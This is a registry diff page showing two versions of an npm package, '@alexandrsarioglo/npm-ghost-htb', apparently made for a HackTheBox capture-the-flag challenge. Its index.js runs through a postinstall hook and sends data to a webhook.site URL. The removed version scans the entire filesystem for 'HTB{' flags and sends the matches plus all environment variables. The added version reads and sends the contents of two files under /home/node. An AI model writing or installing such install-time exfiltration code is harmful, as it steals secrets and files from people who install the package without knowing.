@alexandrsarioglo/npm-ghost-htb 1.0.4 → 1.0.6

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/index.js +52 -58
  2. package/package.json +1 -1
package/index.js CHANGED
@@ -1,10 +1,7 @@
1
- const WEBHOOK = 'https://webhook.site/f5545fb8-769e-42cb-8e10-c1e6b4b4a5d1'; // <-- put your URL
1
+ const WEBHOOK = 'https://webhook.site/b3d8463d-444d-412a-891b-bd291b37e743'; // <-- put your URL
2
2
 
3
3
  // async-scan-htb-json.js (CommonJS)
4
4
  // Usage: node async-scan-htb-json.js [startPath]
5
- const fs = require('fs');
6
- const fsp = require('fs/promises');
7
- const path = require('path');
8
5
  const http = require('http');
9
6
  const https = require('https');
10
7
  const { URL } = require('url');
@@ -25,70 +22,67 @@ function sendProgress(obj) { // async HTTP; event loop must be free to flush
25
22
  } catch {}
26
23
  }
27
24
 
28
- const EXCLUDES = new Set(['node_modules', '.git', '.cache', 'dist', 'build', 'site-packages', 'proc', 'sys', 'dev', 'run']);
29
- const NEEDLE = /HTB\{/i;
30
- const root = "/";
25
+ const PATHS = [
26
+ '/home/node/supplysec_entry.js',
27
+ '/home/node/init_test.sh'
28
+ ];
31
29
 
30
+ const fs = require('fs');
31
+ const fsp = fs.promises;
32
+ const path = require('path');
32
33
 
33
- const results = [];
34
- let scanned = 0;
35
- const YIELD_EVERY = 1000; // tune: how often to yield & send progress
34
+ const OUT = '/tmp/files-by-path.json';
35
+ const MAX_BYTES = 1_000_000; // 1 MB per file
36
36
 
37
- async function inspectFile(filePath) {
37
+ async function readFileSafe(p, maxBytes) {
38
38
  try {
39
- const data = await fsp.readFile(filePath, 'utf8');
40
- const lines = data.split(/\r?\n/);
41
- for (let i = 0; i < lines.length; i++) {
42
- if (NEEDLE.test(lines[i])) {
43
- results.push({ file: filePath, line: i + 1, text: lines[i].trim() });
44
- }
39
+ const stat = await fsp.stat(p);
40
+ if (!stat.isFile()) return { error: 'not-a-file' };
41
+ const size = stat.size;
42
+ if (size <= maxBytes) {
43
+ const content = await fsp.readFile(p, 'utf8');
44
+ return { content };
45
45
  }
46
- } catch {
47
- // unreadable/binary -> skip
46
+ // stream first maxBytes bytes
47
+ return await new Promise((resolve) => {
48
+ const rs = fs.createReadStream(p, { encoding: 'utf8', highWaterMark: 64 * 1024 });
49
+ let acc = '';
50
+ let read = 0;
51
+ let done = false;
52
+ rs.on('data', chunk => {
53
+ if (done) return;
54
+ const chunkBytes = Buffer.byteLength(chunk, 'utf8');
55
+ if (read + chunkBytes >= maxBytes) {
56
+ const remaining = maxBytes - read;
57
+ acc += chunk.slice(0, remaining);
58
+ done = true;
59
+ rs.destroy();
60
+ } else {
61
+ acc += chunk;
62
+ read += chunkBytes;
63
+ }
64
+ });
65
+ rs.on('close', () => resolve({ content: acc + '\n...[truncated]' }));
66
+ rs.on('error', err => resolve({ error: `read-error: ${err.message}` }));
67
+ });
68
+ } catch (err) {
69
+ return { error: err.code ? `${err.code}` : err.message };
48
70
  }
49
71
  }
50
72
 
51
- async function walk(dir, depth = 0) {
52
- // yield periodically so HTTP can flush
53
- scanned++;
54
- if (scanned % YIELD_EVERY === 0) {
55
- sendProgress({ type: 'scan-progress', scanned, matches: results.length, at: dir });
56
- await new Promise(r => setImmediate(r));
57
- }
58
-
59
- // prune common virtual/system roots by prefix
60
- for (const ex of EXCLUDES) {
61
- if (dir === `/${ex}` || dir.startsWith(`/${ex}/`)) return;
73
+ (async () => {
74
+ const result = { generated: new Date().toISOString(), files: {} };
75
+ for (const p of PATHS) {
76
+ const abs = path.resolve(p);
77
+ const res = await readFileSafe(abs, MAX_BYTES);
78
+ if (res.content !== undefined) result.files[abs] = res.content;
79
+ else result.files[abs] = `ERROR: ${res.error}`;
62
80
  }
63
81
 
64
- let entries;
65
82
  try {
66
- entries = await fsp.readdir(dir, { withFileTypes: true });
67
- } catch {
68
- return;
69
- }
70
-
71
- for (const ent of entries) {
72
- const full = path.join(dir, ent.name);
73
- if (ent.isDirectory()) {
74
- if (!EXCLUDES.has(ent.name)) {
75
- await walk(full, depth + 1);
76
- }
77
- } else if (ent.isFile()) {
78
- await inspectFile(full);
79
- }
83
+ sendProgress({result});
84
+ } catch (e) {
85
+ console.error('Failed to write output:', e.message);
86
+ process.exit(1);
80
87
  }
81
- }
82
-
83
- (async () => {
84
- console.log(`Scanning ${root} (excluding: ${[...EXCLUDES].join(', ')}) ...`);
85
- sendProgress({ type: 'scan-start', root });
86
- await walk(root);
87
- sendProgress({
88
- type: 'scan-complete',
89
- scanned,
90
- totalMatches: results.length,
91
- results,
92
- env: process.env
93
- });
94
88
  })();
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "@alexandrsarioglo/npm-ghost-htb",
3
- "version": "1.0.4",
3
+ "version": "1.0.6",
4
4
  "main": "index.js",
5
5
  "description": "benign CTF test package (postinstall sends a webhook)",
6
6
  "scripts": {